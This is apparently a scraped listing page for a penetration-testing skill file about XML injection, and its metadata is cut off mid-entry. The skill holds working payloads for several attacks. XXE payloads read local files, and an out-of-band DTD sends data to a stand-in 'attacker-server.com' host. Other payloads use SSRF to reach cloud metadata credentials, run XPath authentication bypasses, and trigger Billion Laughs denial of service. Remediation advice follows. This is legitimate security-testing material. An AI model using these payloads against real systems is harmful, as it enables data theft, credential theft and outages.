[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGBJTRWM2P7NHFSWQK53HK":3,"skill-same:01M6AGBJTRWM2P7NHFSWQK53HK":108},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":70,"repositoryHtmlUrl":71,"repositoryHomepageUrl":72,"ownerHtmlUrl":73,"ownerBlogUrl":74,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M6AGBJTRWM2P7NHFSWQK53HK","testing-for-xml-injection-vulnerabilities",null,"Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"testing for xml injection vulnerabilities","vulnerabilities","xml","injection","testing","t1505","dtd-attack","entity-injection","xml-parsing","xpath-injection","xxe","xml-injection","parsing","application-security","web-application-security","data","server","pr","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-for-xml-injection-vulnerabilities\ndescription: Test web applications for XML injection vulnerabilities including XXE,\n  XPath injection, and XML entity attacks to identify data exposure and server-side\n  request forgery risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- xml-injection\n- xxe\n- xpath-injection\n- xml-parsing\n- web-security\n- entity-injection\n- dtd-attack\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY % exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n","# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY % exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n",{"name":5,"tags":52,"author":54,"domain":45,"license":15,"version":55,"nist_csf":56,"subdomain":41,"description":7,"mitre_attack":61},[38,37,36,35,53,34,33],"web-security","mahipal","1.0",[57,58,59,60],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[62,63,64,65,66],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-for-xml-injection-vulnerabilities",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities",{"tool":83,"command":84},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities",{"tool":86,"command":87},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002FSKILL.md",true,[91,96,102],{"path":92,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002FLICENSE",{"path":97,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"references\u002Fapi-reference.md","REFERENCE","参考文档",1724,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"scripts\u002Fagent.py","SCRIPT","脚本",7798,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-xml-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[109,134,158,183,208,234],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":116,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[115],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[117,118,119,120,46,45,121,122,44,123,124,125,126,127,128,129,130,131,132,133],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":141,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[140],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[142,130,143,144,46,145,45,44,146,147,148,149,150,151,152,153,154,155,156,157],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":166,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[164,165],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[152,167,168,169,31,45,170,171,146,172,173,174,175,176,177,178,179,180,181,182],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":184,"name":185,"nameZh":6,"description":186,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":187,"categories":188,"keywords":190,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[189],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[191,192,193,45,194,195,196,197,198,199,200,42,201,202,203,204,149,205,206,207],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":209,"name":210,"nameZh":6,"description":211,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":212,"categories":213,"keywords":215,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS 